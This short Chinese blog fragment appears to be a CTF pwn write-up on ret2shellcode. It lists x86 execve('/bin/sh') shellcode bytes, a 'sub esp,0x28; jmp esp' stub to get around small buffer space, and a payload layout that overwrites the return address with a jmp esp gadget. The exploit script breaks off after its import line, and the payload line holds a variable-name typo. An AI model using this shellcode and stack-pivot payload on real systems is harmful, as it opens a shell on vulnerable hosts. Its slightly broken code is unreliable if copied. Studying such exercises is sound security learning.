1 | ; 汇编指令 |
1 | shellcode=b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"+b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"+b"\x0b\xcd\x80" |

ret2shellcode,但是大小不够了

1 | sub_esp_jmp=asm("sub esp,0x28;jmp esp") |
改写其他不行
返回地址执行到jmp_esp,然后esp+4,执行sub esp,0x28;jmp esp,可以跳到shellcode的地址
1 | payload=asm(shellcode)+b'a'*(0x20-len(shellcode))+b'aaaa'+p32(jmp_esp)+sup_esp_jmp |



jmp esp的操作,把栈顶设为esp,同时eip指向栈顶

exp
1 | from pwn import* |
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~